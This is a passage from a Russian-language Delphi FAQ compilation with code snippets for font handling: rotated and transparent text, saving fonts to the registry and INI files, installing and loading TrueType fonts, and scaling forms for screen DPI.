  GetMem(Dest, DestSize);
  try
    // convert
    Conv.DoConversionFromUnicode(Source, @SourceSize, Dest, @DestSize);
    // show
    Memo1.Text := Dest;
  finally
    // free memory
    FreeMem(Dest);
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как выдать текст под наклоном?

Чтобы вывести под любым углом текст необходимо использовать TrueType Fonts (например "Arial"). Например:

var

  LogFont : TLogFont;

...
  GetObject(Canvas.Font.Handle, SizeOf(TLogFont), @LogFont);
  { Вывести текст 1/10 градуса против часовой стрелки }

  LogFont.lfEscapement := Angle*10;
  Canvas.Font.Handle := CreateFontIndirect(LogFont);

{ Эта процедура устанавливает угол вывода текста
для указанного Canvas, угол в градусах
Шрифт должен быть TrueType }
procedure CanvasSetTextAngle(c: TCanvas; d: single);
var
  LogRec: TLOGFONT; { Информация о шрифте }
begin
  {Читаем текущюю инф. о шрифте }
  GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) );
  { Изменяем угол }
  LogRec.lfEscapement := round(d*10);
  { Устанавливаем новые параметры }
  c.Font.Handle := CreateFontIndirect(LogRec);
end;

procedure TextOutAngle(x,y,aAngle,aSize: integer; txt: string);
var
  hFont, Fontold: integer;
  DC: hdc;
  Fontname: string;
begin
  if length(txt) = 0 then
    Exit;
  DC:= Screen.ActiveForm.Canvas.handle;
  SetBkMode(DC, transparent);
  Fontname:= Screen.ActiveForm.Canvas.Font.name;
  hFont:= CreateFont(-aSize,0, aAngle*10,0, fw_normal,0, 0,
  0,1,4,$10,2,4,PChar(Fontname));
  Fontold:= SelectObject(DC, hFont);
  TextOut(DC,x,y,PChar(txt), length(txt));
  SelectObject(DC, Fontold);
  DeleteObject(hFont);
end;

Пример демонстрирует вывод теста случайным образом на форме под определённым углом. Добавляем в форму компонент TButton и в событие OnClick следующий код:

procedure TForm1.Button1Click(Sender: TObject);
var
  logfont: TLogFont;
  font: Thandle;
  count: integer;
begin
  LogFont.lfheight := 20;
  logfont.lfwidth := 20;
  logfont.lfweight := 750;
  LogFont.lfEscapement := -200;
  logfont.lfcharset := 1;
  logfont.lfoutprecision := out_tt_precis;
  logfont.lfquality := draft_quality;
  logfont.lfpitchandfamily := FF_Modern;

  font := createfontindirect(logfont);

  SelectObject(Form1.canvas.handle, font);

  SetTextColor(Form1.canvas.handle, rgb(0, 0, 200));
  SetBKmode(Form1.canvas.handle, transparent);

  for count := 1 to 10 do
  begin
    Canvas.TextOut(Random(form1.width), Random(form1.height), 'Delphi World');
    SetTextColor(form1.canvas.handle, rgb(Random(255), Random(255), Random(255)));
  end;

  DeleteObject(font);
end;

{Create a rotated font based on the font object F}
function CreateRotatedFont(F : TFont; Angle : Integer) : hFont;
var
  LF: TLogFont;
begin
  FillChar(LF, SizeOf(LF), #0);
  with LF do
  begin
    lfHeight := F.Height;
    lfWidth := 0;
    lfEscapement := Angle*10;
    lfOrientation := 0;
    if fsBold in F.Style then
      lfWeight := FW_BOLD
    else
      lfWeight := FW_NORMAL;
    lfItalic := Byte(fsItalic in F.Style);
    lfUnderline := Byte(fsUnderline in F.Style);
    lfStrikeOut := Byte(fsStrikeOut in F.Style);
    lfCharSet := DEFAULT_CHARSET;
    StrPCopy(lfFaceName, F.name);
    lfQuality := DEFAULT_QUALITY;
    {everything else as default}
    lfOutPrecision := OUT_DEFAULT_PRECIS;
    lfClipPrecision := CLIP_DEFAULT_PRECIS;
    case F.Pitch of
      fpVariable: lfPitchAndFamily := VARIABLE_PITCH;
      fpFixed: lfPitchAndFamily := FIXED_PITCH;
      else
        lfPitchAndFamily := DEFAULT_PITCH;
    end;
  end;
  Result := CreateFontIndirect(LF);
end;

...

{create the rotated font}
if FontAngle <> 0 then
  Canvas.Font.Handle := CreateRotatedFont(Font, FontAngle);
...

Вращаются только векторные шрифты.

Взято с http://delphiworld.narod.ru


Как сохранить обьект TFont в реестре/ini/файле/таблице базы данных?

Нужно сохранять атрибуты шрифта (имя, размер и т.п.) а не сам обьект TFont. После считывания этой информации следует проверить существует ли такой шрифт, прежде чем его использовать. Чтобы не показаться голословным дополню ответ Borland'а своим примером сохранения/чтения шрифта в/из реестра

uses...Registry;

procedure SaveFontToRegistry(Font: TFont; SubKey: string);
var
  R: TRegistry;
  FontStyleInt: byte;
  FS: TFontStyles;
begin
  R := TRegistry.Create;
  try
    FS := Font.Style;
    Move(FS, FontStyleInt, 1);
    R.OpenKey(SubKey, True);
    R.WriteString('Font Name', Font.Name);
    R.WriteInteger('Color', Font.Color);
    R.WriteInteger('CharSet', Font.Charset);
    R.WriteInteger('Size', Font.Size);
    R.WriteInteger('Style', FontStyleInt);
  finally
    R.Free;
  end;
end;

function ReadFontFromRegistry(Font: TFont; SubKey: string): boolean;
var
  R: TRegistry;
  FontStyleInt: byte;
  FS: TFontStyles;
begin
  R := TRegistry.Create;
  try
    result := R.OpenKey(SubKey, false); if not result then exit;
    Font.Name := R.ReadString('Font Name');
    Font.Color := R.ReadInteger('Color');
    Font.Charset := R.ReadInteger('CharSet');
    Font.Size := R.ReadInteger('Size');
    FontStyleInt := R.ReadInteger('Style');
    Move(FontStyleInt, FS, 1);
    Font.Style := FS;
  finally
    R.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if FontDialog1.Execute then
    begin
      SaveFontToRegistry(FontDialog1.Font, 'Delphi Kingdom\Fonts');
    end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  NFont: TFont;
begin
  NFont := TFont.Create;
  if ReadFontFromRegistry(NFont, 'Delphi Kingdom\Fonts') then
    begin //здесь добавить проверку - существует ли шрифт
      Label1.Font.Assign(NFont);
      NFont.Free;
    end;
end;


Вывести полупрозрачный текст

procedure TForm1.FormPaint(Sender: TObject);
var
  x, y: integer;
  bm: TBitMap;
begin
  Form1.ClientWidth := 200;
  Form1.ClientHeight := 100;
  randomize;
  for x := 0 to 199 do
    for y := 0 to 99 do
      if random(3) = 1 then
        Form1.Canvas.Pixels[x,y] := clGreen
      else
        Form1.Canvas.Pixels[x,y] := clLime;
  bm := TBitMap.Create;
  bm.Width := 200;
  bm.Height := 100;
  with bm.Canvas do
  begin
    Brush.Color := clGreen;
    FillRect(ClipRect);
    Font.name := 'Arial';
    Font.Size := 50;
    Font.Color := clGray;
    Font.Style := [fsBold];
    TextOut((bm.Width - TextWidth('Text')) div 2,
    (bm.Height - TextHeight('Text')) div 2, 'Text');
  end;
  Form1.Canvas.CopyMode := cmSrcPaint;
  Form1.Canvas.CopyRect(bm.Canvas.ClipRect, bm.Canvas,
  bm.Canvas.ClipRect);
  bm.Destroy;
end;

Взято с http://delphiworld.narod.ru


Вертикальный текст

var
  Hfont: Thandle;
  logfont: TLogFont;
  font: Thandle;
  count: integer;
begin
  LogFont.lfheight := 30;
  logfont.lfwidth := 10;
  logfont.lfweight := 900;
  LogFont.lfEscapement := -200;
  logfont.lfcharset := 1;
  logfont.lfoutprecision := out_tt_precis;
  logfont.lfquality := draft_quality;
  logfont.lfpitchandfamily := FF_Modern;
  font := createfontindirect(logfont);
  Selectobject(Form1.canvas.handle, font);
  SetTextColor(Form1.canvas.handle, rgb(0, 0, 200));
  SetBKmode(Form1.canvas.handle, transparent);
  {textout(form1.canvas.handle,10,10,'Повернутый',7);}
  for count := 1 to 100 do
  begin
    canvas.textout(Random(form1.width), Random(form1.height), 'Повернутый');
    SetTextColor(form1.canvas.handle, rgb(Random(255), Random(255),
      Random(255)));
  end;
  deleteobject(font);
end;

Взято с http://delphiworld.narod.ru


Как вывести текст с красивым обрезанием если не помещается?

Используй вызов DrawTextEx, установив в параметре dwDTFormat значение DT_PATH_ELLIPSIS.

procedure TForm1.FormPaint(Sender: TObject);
var
  r: TRect;
begin
  r := Rect(20, 20, 110, 70);
  // DT_PATH_ELLIPSIS or DT_WORD_ELLIPSIS or DT_END_ELLIPSIS
  DrawTextEx(Form1.Canvas.Handle, 'Delphi World - это круто!!!',
   25, r, DT_WORD_ELLIPSIS, nil);
end;

Взято с http://delphiworld.narod.ru


Как изменить фоновый цвет текста?

Автор: Олег Кулабухов

procedure TForm1.Button1Click(Sender: TObject);
var
  OldTextColor: TColorRef;
  OldBkColor: TColorRef;
  OldBkMode: Integer;
begin
  OldTextColor := SetTextColor(Form1.Canvas.Handle, clYellow);
  OldBkColor := SetBkColor(Form1.Canvas.Handle, clGreen);
  OldBkMode := SetBkMode(Form1.Canvas.Handle, OPAQUE);
  TextOut(Form1.Canvas.Handle, 20, 20, 'Delphi World - лучше всех! ;-)', 27);
  SetBkMode(Form1.Canvas.Handle, OldBkMode);
  SetBkColor(Form1.Canvas.Handle, OldBkColor);
  SetTextColor(Form1.Canvas.Handle, OldTextColor);
end;

Взято с http://delphiworld.narod.ru


Как добавить True Type шрифт в систему?

Чтобы установить шрифт в систему, необходимо скопировать файл шрифта в 'Windows\Fonts' и добавить ключ в реестр:

'Software\Microsoft\Windows\CurrentVersion\Fonts'

Этот ключ указывает на файл шрифта. Далее запускаем API функцию 'AddFontRecource'. В заключении нужно уведомить систему широковещательным сообщением.

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
  hReg: TRegistry;
  hBool : bool;
begin
  CopyFile('C:\DOWNLOAD\FP000100.TTF',
           'C:\WINDOWS\FONTS\FP000100.TTF', hBool);
  hReg := TRegistry.Create;
  hReg.RootKey := HKEY_LOCAL_MACHINE;
  hReg.LazyWrite := false;
  hReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Fonts',
               false);
  hReg.WriteString('TESTMICR (TrueType)','FP000100.TTF');
  hReg.CloseKey;
  hReg.free;
  //Добавляем ресурс шрифта
  AddFontResource('c:\windows\fonts\FP000100.TTF');
  SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
  //Убираем блокировку ресурса
  RemoveFontResource('c:\windows\fonts\FP000100.TTF');
  SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;

Взято с http://delphiworld.narod.ru


Каким обpазом выбиpать pазмеp шpифта?

Автор: Nomadic

Каким обpазом выбиpать pазмеp шpифта, т.к. все мои стpадания по выбоpyпаpаметpов шpифта в CreateFont() никак не отpажались на его pазмеpе. Все что я пpидyмал, это юзать glScale(), но в этом слyчае полyчаем плохое качество (по сpавнению с той-же Воpдой) пpи малом pазмеpе символов

Вот часть работающего примера на Си (переведенного мною на Паскаль (АА)).

procedure GLSetupRC(pData: Pointer)
  //void GLSetupRC(void *pData)
//{
var
  //  HDC hDC;

  hDC: HDC;
  //  HFONT hFont;

  hFont: HFONT;
  //  GLYPHMETRICSFLOAT agmf[128];
  agmf: array[0..127] of GLYPHMETRICSFLOAT;
  //  LOGFONT logfont;

  logfont: LOGFONT;

begin

  logfont.lfHeight := -10;
  logfont.lfWidth := 0;
  logfont.lfEscapement := 0;
  logfont.lfOrientation := 0;
  logfont.lfWeight := FW_BOLD;
  logfont.lfItalic := FALSE;
  logfont.lfUnderline := FALSE;
  logfont.lfStrikeOut := FALSE;
  logfont.lfCharSet := ANSI_CHARSET;
  logfont.lfOutPrecision := OUT_DEFAULT_PRECIS;
  logfont.lfClipPrecision := CLIP_DEFAULT_PRECIS;
  logfont.lfQuality := DEFAULT_QUALITY;
  logfont.lfPitchAndFamily := DEFAULT_PITCH;
  //strcpy(logfont.lfFaceName,"Arial");
  //  strcpy(logfont.lfFaceName,"Decor");

  StrPCopy(logfont.lfFaceName, 'Decor');

  glDepthFunc(GL_LESS);
  glEnable(GL_DEPTH_TEST); // Hidden surface removal
  glFrontFace(GL_CCW); // Counter clock-wise polygons face out
  glEnable(GL_CULL_FACE); // Do not calculate insides
  glShadeModel(GL_SMOOTH); // Smooth shading
  glEnable(GL_AUTO_NORMAL);
  glEnable(GL_NORMALIZE);
  glEnable(GL_COLOR_MATERIAL);

  glClearColor(0.0, 0.0, 0.0, 1.0);

  glEnable(GL_LIGHTING);
  glLightfv(GL_LIGHT0, GL_AMBIENT, ambientLight);
  glLightfv(GL_LIGHT0, GL_DIFFUSE, diffuseLight);
  glLightfv(GL_LIGHT0, GL_SPECULAR, specular);
  glLightfv(GL_LIGHT0, GL_POSITION, lightPos);
  glEnable(GL_LIGHT0);

  glColorMaterial(GL_FRONT, GL_AMBIENT_AND_DIFFUSE);
  glMaterialfv(GL_FRONT, GL_SPECULAR, specular);
  glMateriali(GL_FRONT, GL_SHININESS, 100);

  // Blue 3D Text
  glRGB(0, 0, 255);

  // Select the font into the DC
  hDC := (HDC)pData;
  //  hFont = CreateFontIndirect(&logfont);

  hFont := CreateFontIndirect(Addr(logfont));
  SelectObject(hDC, hFont);

  //create display lists for glyphs 0 through 255 with 0.3 extrusion
  // and default deviation. The display list numbering starts at 1000
  // (it could be any number).
  //  if(!wglUseFontOutlines(hDC, 0, 128, 1000, 0., 0.3,
  //                            WGL_FONT_POLYGONS, agmf))

  if not wglUseFontOutlines(hDC, 0, 128, 1000, 0., 0.3,

    //>                                         ``` - это тебе поможет
    //> Выводить текст можно в любым масштабе

    WGL_FONT_POLYGONS, agmf) then

    Windows.MessageBox(nil, 'Could not create Font Outlines',
      'Error', MB_OK or MB_ICONSTOP);

  // Delete the font now that we are done
  DeleteObject(hFont);
  //}
end;

// void GLRenderScene(void *pData)

procedure GLRenderScene(pData: Pointer);
begin

  (*  ...  *)

  // Draw 3D text
  glListBase(1000);
  glPushMatrix();
  // Set up transformation to draw the string.
  glTranslatef(-35.0, 0.0, -5.0);
  glScalef(60.0, 60.0, 60.0);
  glCallLists(3, GL_UNSIGNED_BYTE, 'Decor');
  glPopMatrix(); // Clear the window with current clearing color

  (* ... *)
end;

Взято с http://delphiworld.narod.ru


Сохранение параметров шрифта в INI-файле

function FontToStr(font: TFont): string;
  procedure yes(var str: string);
  begin

    str := str + 'y';
  end;
  procedure no(var str: string);
  begin

    str := str + 'n';
  end;
begin

  {кодируем все атрибуты TFont в строку}
  Result := '';
  Result := Result + IntToStr(font.Color) + '|';
  Result := Result + IntToStr(font.Height) + '|';
  Result := Result + font.Name + '|';
  Result := Result + IntToStr(Ord(font.Pitch)) + '|';
  Result := Result + IntToStr(font.PixelsPerInch) + '|';
  Result := Result + IntToStr(font.size) + '|';
  if fsBold in font.style then
    yes(Result)
  else
    no(Result);
  if fsItalic in font.style then
    yes(Result)
  else
    no(Result);
  if fsUnderline in font.style then
    yes(Result)
  else
    no(Result);
  if fsStrikeout in font.style then
    yes(Result)
  else
    no(Result);
end;

procedure StrToFont(str: string; font: TFont);
begin

  if str = '' then
    Exit;
  font.Color := StrToInt(tok('|', str));
  font.Height := StrToInt(tok('|', str));
  font.Name := tok('|', str);
  font.Pitch := TFontPitch(StrToInt(tok('|', str)));
  font.PixelsPerInch := StrToInt(tok('|', str));
  font.Size := StrToInt(tok('|', str));
  font.Style := [];
  if str[0] = 'y' then
    font.Style := font.Style + [fsBold];
  if str[1] = 'y' then
    font.Style := font.Style + [fsItalic];
  if str[2] = 'y' then
    font.Style := font.Style + [fsUnderline];
  if str[3] = 'y' then
    font.Style := font.Style + [fsStrikeout];
end;

function tok(sep: string; var s: string): string;

  function isoneof(c, s: string): Boolean;
  var
    iTmp: integer;
  begin
    Result := False;
    for iTmp := 1 to Length(s) do
    begin
      if c = Copy(s, iTmp, 1) then
      begin
        Result := True;
        Exit;
      end;
    end;
  end;
var

  c, t: string;
begin

  if s = '' then
  begin
    Result := s;
    Exit;
  end;
  c := Copy(s, 1, 1);
  while isoneof(c, sep) do
  begin
    s := Copy(s, 2, Length(s) - 1);
    c := Copy(s, 1, 1);
  end;
  t := '';
  while (not isoneof(c, sep)) and (s <> '') do
  begin
    t := t + c;
    s := Copy(s, 2, length(s) - 1);
    c := Copy(s, 1, 1);
  end;
  Result := t;
end;

Взято с http://delphiworld.narod.ru


Является ли шрифт шрифтом с фиксированной шириной?

procedure TConsole.FontChanged(Sender: TObject);
var
  DC: HDC;
  Save: THandle;
  Metrics: TTextMetric;
  Temp: string;
begin
  if Font.Handle <> FOldFont.Handle then
  begin
    DC := GetDC(0);
    Save := SelectObject(DC, Font.Handle);
    GetTextMetrics(DC, Metrics);
    SelectObject(DC, Save);
    ReleaseDC(0, DC);
    if not (((Metrics.tmPitchAndFamily and ff_Modern) <> 0) and
      ((Metrics.tmPitchAndFamily and $01) = 0)) then
    begin
      Temp := 'TConsole: ' + Font.Name +
        ' не является шрифтом с фиксированной шириной';
      Font.Name := FOldFont.Name; { Возвращаем предыдущие атрибуты шрифта }
      raise EInvalidFont.Create(Temp);
    end;
    SetMetrics(Metrics);
  end;
  FOldFont.Assign(Font);
  if csDesigning in ComponentState then
    InternalClrScr;
end;

Взято с http://delphiworld.narod.ru


Вывод шрифтов в списке в виде самих шрифтов

unit Fontlist;

interface

uses
  Windows, Classes, Graphics, Forms, Controls, StdCtrls;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Label1: TLabel;
    FontLabel: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure ListBox1Click(Sender: TObject);
    procedure DrawItem(Control: TWinControl; index: Integer; Rect: TRect;
      State: TOwnerDrawState);
    procedure ListBox1MeasureItem(Control: TWinControl; index: Integer;
      var Height: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  Listbox1.Items := Screen.Fonts;
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
  FontLabel.Caption := ListBox1.Items[ListBox1.ItemIndex];
end;

procedure TForm1.DrawItem(Control: TWinControl; index: Integer;
  Rect: TRect; State: TOwnerDrawState);
begin
  with ListBox1.Canvas do
  begin
    FillRect(Rect);
    Font.name := ListBox1.Items[index];
    Font.Size := 0; // use font's preferred size
    TextOut(Rect.Left+1, Rect.Top+1, ListBox1.Items[index]);
  end;
end;

procedure TForm1.ListBox1MeasureItem(Control: TWinControl; index: Integer;
  var Height: Integer);
begin
  with ListBox1.Canvas do
  begin
    Font.name := Listbox1.Items[index];
    Font.Size := 0; // use font's preferred size
    Height := TextHeight('Wg') + 2; // measure ascenders and descenders
  end;
end;

end.

Взято с http://delphiworld.narod.ru


Как приложению воспользоваться своими шрифтами?

Может ли кто-нибудь подсказать или решить такую проблему: мне нужно убедиться, что мое приложение использует доступные, а не ближайшие шрифты, установленные пользователем в системе? Я пробовал копировать файл #.ttf в директорию пользователя windows\system, но мое приложение так и не смогло их увидеть и выбрать для дальнейшего использования.

Ниже приведен код для Delphi, который динамически устанавливает шрифты, загружаемые только во время работы приложения. Вы можете расположить файл(ы) шрифтов в каталоге приложения. Они будут инсталлированы при загрузке формы и выгружены при ее разрушении. Вам возможно придется модифицировать код для работы с Delphi 2, поскольку он использует вызовы Windows API, которые могут как измениться, так и нет. Если в коде вы видите "...", то значит в этом месте может располагаться какой-либо код, не относящийся к существу вопроса.

Ну и, конечно, вы должны заменить "MYFONT" на реальное имя файла вашего шрифта.

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    ...
    private
    { Private declarations }
    bLoadedFont: boolean;
  public
    { Public declarations }
  end;

procedure TForm1.FormCreate(Sender: TObject);
var
  sAppDir: string;
  sFontRes: string;
begin
  sAppDir := Application.ExeName;
  sAppDir := copy(sAppDir, 1, rpos('\', sAppDir));

  sFontRes := sAppDir + 'MYFONT.FOT';
  if not FileExists(sFontRes) then
  begin
    sFontRes := sFontRes + #0;
    sFont := sAppDir + 'MYFONT.TTF' + #0;
    CreateScalableFontResource(0, @sFontRes[1], @sFont[1], nil);
  end;

  sFontRes := sAppDir + 'MYFONT.FOT';
  if FileExists(sFontRes) then
  begin
    sFontRes := sFontRes + #0;
    if AddFontResource(@sFontRes[1]) = 0 then
      bLoadedFont := false
    else
    begin
      bLoadedFont := true;
      SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
    end;
  end;
  ...
end;

procedure TForm1.FormDestroy(Sender: TObject);
var
  sFontRes: string;
begin
  if bLoadedFont then
  begin
    sFontRes := sAppDir + 'MYFONT.FOT' + #0;
    RemoveFontResource(@sFontRes[1]);
    SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
  end;
end;

Я поработал с данным кодом и внес некоторые поправки для корректной работы на Delphi 2.0. На Delphi 3.0 не испытано.

Электронная справка по продукту InstallShield показывает, что в системах Win95 и WinNT FOT-файл не нужен. Вам нужен только TTF-файл.

В результате процедура FormCreate стала выглядеть так:

var
  sAppDir, sFontRes: string;
begin
  {...другой код...}
  sAppDir := extractfilepath(Application.ExeName);

  sFontRes := sAppDir + 'MYFONT.TTF';
  if FileExists(sFontRes) then
  begin
    sFontRes := sFontRes + #0;
    if AddFontResource(@sFontRes[1]) = 0 then
      bLoadedFont := false
    else
    begin
      bLoadedFont := true;
      SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
    end;
  end;
  {...}
end; {FormCreate}

А FormDestroy так:

var
  sFontRes, sAppDir: string;
begin
  {...другой код...}

  if bLoadedFont then
  begin
    sAppDir := extractfilepath(Application.ExeName);
    sFontRes := sAppDir + 'MYFONT.TTF' + #0;
    RemoveFontResource(@sFontRes[1]);
    SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
  end;

  {...другой код...}
end; {FormDestroy}

Для упрощения этого я сделал простую функцию, совмещающую обе этих задачи. Она возвращает логическое значение, говорящая об успехе, или наоборот, о неудаче операции загрузки или выгрузки шрифта.

{1998-01-16 Функция загрузки и выгрузки шрифта.}

function LoadFont(sFontFileName: string; bLoadIt: boolean): boolean;
var
  sFont, sAppDir, sFontRes: string;
begin
  result := TRUE;

  if bLoadIt then
  begin
    {Загрузка шрифта.}
    if FileExists(sFontFileName) then
    begin
      sFontRes := sFontFileName + #0;
      if AddFontResource(@sFontRes[1]) = 0 then
        result := FALSE
      else
        SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
    end;
  end
  else
  begin
    {Выгрузка шрифта.}
    sFontRes := sFontFileName + #0;
    result := RemoveFontResource(@sFontRes[1]);
    SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
  end;
end; {LoadFont}

Взято с http://delphiworld.narod.ru


Какой шрифт установлен (крупный или мелкий)?

function SmallFonts: Boolean;
{Значение функции TRUE если мелкий шрифт}
var
  DC: HDC;
begin
  DC := GetDC(0);
  Result := (GetDeviceCaps(DC, LOGPIXELSX) = 96);
  { В случае крупного шрифта будет 120}
  ReleaseDC(0, DC);
end;

Взято с http://delphiworld.narod.ru


Масштабирование размера формы и размера шрифтов

Когда мои программы работают на системах с установленными маленькими шрифтами, я получаю странный вид моей формы. К примеру, расположенные на форме компоненты Label становятся малы для размещения указанного теста, обрезая его в правой или нижней части. StringGrid не осуществляет положенного выравнивания и т.д.

Попробуй следующий код. Он масштабирует как размер формы, так и размер шрифтов. Вызывай его в Form.FormCreate. Надеюсь это поможет.

unit geScale;

interface
uses Forms, Controls;

procedure geAutoScale(MForm: TForm);

implementation
type
  TFooClass = class(TControl); { необходимо выяснить защищенность }

  { свойства Font }

procedure geAutoScale(MForm: TForm);
const

  cScreenWidth: integer = 800;
  cScreenHeight: integer = 600;
  cPixelsPerInch: integer = 96;
  cFontHeight: integer = -11; {В режиме проектирование значение из Font.Height}

var

  i: integer;

begin

  {
  ВАЖНО!! : Установите в Инспекторе Объектов свойство Scaled TForm в FALSE.

  Следующая программа масштабирует форму так, чтобы она выглядела одинаково
  внезависимости от размера экрана и пикселей на дюйм. Расположенный ниже
  участок кода проверяет, отличается ли размер экрана во время выполнения
  от размера во время проектирования. Если да, Scaled устанавливается в True
  и компоненты снова масштабируются так, чтобы они выводились в той же
  позиции экрана, что и во время проектирования.
  }
  if (Screen.width &; lt > cScreenWidth) or (Screen.PixelsPerInch <>
    cPixelsPerInch) then
  begin
    MForm.scaled := TRUE;
    MForm.height := MForm.height * screen.Height div cScreenHeight;
    MForm.width := MForm.width * screen.width div cScreenWidth;
    MForm.ScaleBy(screen.width, cScreenWidth);

  end;

  {
  Этот код проверяет, отличается ли размер шрифта во времы выполнения от
  размера во время проектирования. Если во время выполнения pixelsperinch
  формы отличается от pixelsperinch во время проектирования, шрифты снова
  масштабируются так, чтобы форма не отличалась от той, которая была во
  время разработки. Масштабирование производится исходя из коэффициента,
  получаемого путем деления значения font.height во время проектирования
  на font.height во время выполнения. Font.size в этом случае работать не
  будет, так как это может дать результат больший, чем текущие размеры
  компонентов, при этом текст может оказаться за границами области компонента.
  Например, форма создана при размерах экрана 800x600 с установленными
  маленькими шрифтами, имеющими размер font.size = 8. Когда вы запускаете
  в системе с 800x600 и большими шрифтами, font.size также будет равен 8,
  но текст будет бОльшим чем при работе в системе с маленькими шрифтами.
  Данное масштабирование позволяет иметь один и тот же размер шрифтов
  при различных установках системы.
  }

  if (Screen.PixelsPerInch <> cPixelsPerInch) then
  begin

    for i := MForm.ControlCount - 1 downto 0 do
      TFooClass(MForm.Controls[i]).Font.Height :=
        (MForm.Font.Height div cFontHeight) *
        TFooClass(MForm.Controls[i]).Font.Height;

  end;

end;

end.

Взято с http://delphiworld.narod.ru


Различные разрешения - различные размеры шрифтов

Я также долго мучился над проблемой решения этого вопроса, и ниже я излагаю свои выводы на основании моих многочисленных экспериментов.

Свойство, отвечающее за размер шрифта важно, но не менее важны в этом вопросе и другие характеристики.

Я получал безобразные результаты при изменении резолюции, пока я не начал задавать размер шрифта в пикселях (pixels) вместо точек (points). Вы можете установить font.height, и вы можете установить font.size. Я обнаружил, что установка значения font.height дает значительно лучшие результаты, поскольку данное свойство определяет количество пикселей, и размер шрифта меняется пропорционально изменению размера пиксела.
Также, вы можете обнаружить, что шрифт по-умолчанию не может быть ниже определенной высоты. Будет гораздо лучше, если вместо SYSTEM вы выберите шрифт MS sans-serif.

У формы имеется свойство, названное "scaling" (взял из памяти, надеюсь верно). Я обнаружил, что лучше его иметь выключенным. Если свойство включено, Delphi или Windows пытаются при изменении размера формы все соответствено смаштабировать. Все это хорошо только для сохранения относительных позиций элементов, так что я выключил свойство, и больше о нем не вспоминал.
Если свойство выключено, а форма ваша максимизирована, вы обнаружите, что все ваши компоненты устремились вслед за левым верхним углом формы. Где не желателен этот эффект, я получал разрешение экрана (Screen.Height и Screen.Width) и прислаивал свойствам компонентов Left и Тор скорректированные свойства прежде, чем форма успевала появиться (в методе OnCreate, во время выполения приложения).

В целом же, завершая рассказ, следует подчеркнуть, что выключенное свойство scaling и использование пикселей вместо точек для изменения размеров шрифта, дает вполне приемлимый результат.

Взято с http://delphiworld.narod.ru


Свойства шрифта Style и Color в виде строки

Автор: Dennis Passmore

Как мне получить значение Font.Style и Font.Color в виде строки, я хотел бы присвоить его заголовку компонента Label, но style и color не являются строковыми величинами.

Есть масса способов это сделать, но я использую следующий способ:

const
  fsTextName: array[TFontStyle] of string[11] = ('fsBold', 'fsItalic', 'fsUnderline', 'fsStrikeOut');
  fpTextName: array[TFontPitch] of string[10] = ('fpDefault','fpVariable','fpFixed');

Позже, в коде, я так использую эти имена:

var
  TFPitch: TFontPitch;
  TFStyle: TFontStyle;
  FString: String;
...

FString := '';
for TFStyle := fsBold to fsStrikeOut do
  if TFStyle in Canvas.Font.Style then
    Fstring := Fstring+fsTextName[TFStyle]+',';
if FString<>'' then
  dec(FString[0]); { убираем лишний разделитель ',' }
something := FString;

FString := fpTextName[Canvas.Font.Pitch];
something := FString;

Примерно также нужно поступить и с именованными цветами типа TColor.

Взято с http://delphiworld.narod.ru

Примечание Vit: Описанный здесь способ относится скорее к тем которые указывают как не надо делать. Эта задача решается намного изящнее здесь:

Как получить строковое значение перечисляемого типа?


Список шрифтов, совместимых одновременно с экраном и с принтером

Эти установки должны показать шрифты совместимые либо с принтером либо с экраном. В примере диалог Windows ChooseFont вызывается напрямую чтобы показать список шрифтов, совместимых одновременно и с экраном и с принтером.

Пример:

uses Printers, CommDlg;

procedure TForm1.Button1Click(Sender: TObject);
 var cf: TChooseFont; lf: TLogFont; tf: TFont;
begin
  if PrintDialog1.Execute then
  begin
    cf.hdc := Printer.Handle;
    cf.lpLogFont := @lf;
    cf.iPointSize := Form1.Canvas.Font.Size * 10;
    cf.Flags := CF_BOTH or CF_INITTOLOGFONTSTRUCT or
     CF_EFFECTS or CF_SCALABLEONLY or CF_WYSIWYG;
    cf.rgbColors := Form1.Canvas.Font.Color;
    tf.COlor := cf.RgbColors;
    Form1.Canvas.Font.Assign(tf);
    tf.Free;
    Form1.Canvas.TextOut(10, 10, 'Test');
  end;
end;

Взято с http://delphiworld.narod.ru


Управление настройками шрифта

{
Данный код изменяет стиль шрифта поля редактирования,
если оно выбрано. Может быть адаприрован для управления
шрифтами в других объектах.

Расположите на форме Edit(Edit1) и ListBox(ListBox1).
Добавьте следующие элементы (Items) к ListBox:
fsBold
fsItalic
fsUnderLine
fsStrikeOut
}

procedure TForm1.ListBox1Click(Sender: TObject);
var
  X: Integer;
type
  TLookUpRec = record
    Name: string;
    Data: TFontStyle;
  end;
const
  LookUpTable: array[1..4] of TLookUpRec =
  ((Name: 'fsBold'; Data: fsBold),
    (Name: 'fsItalic'; Data: fsItalic),
    (Name: 'fsUnderline'; Data: fsUnderline),
    (Name: 'fsStrikeOut'; Data: fsStrikeOut));
begin
  X := ListBox1.ItemIndex;
  Edit1.Text := ListBox1.Items[X];
  Edit1.Font.Style := [LookUpTable[ListBox1.ItemIndex + 1].Data];
end;

Взято с http://delphiworld.narod.ru


Хранение стилей шрифта

Как мне сохранить свойство шрифта Style, ведь он же набор?

Вы можете получать и устанавливать FontStyle через его преобразование к типу byte.

Для примера,

Var
  Style: TFontStyles;
begin
  { Сохраняем стиль шрифта в байте }
  Style := Canvas.Font.Style; {необходимо, поскольку Font.Style - свойство}
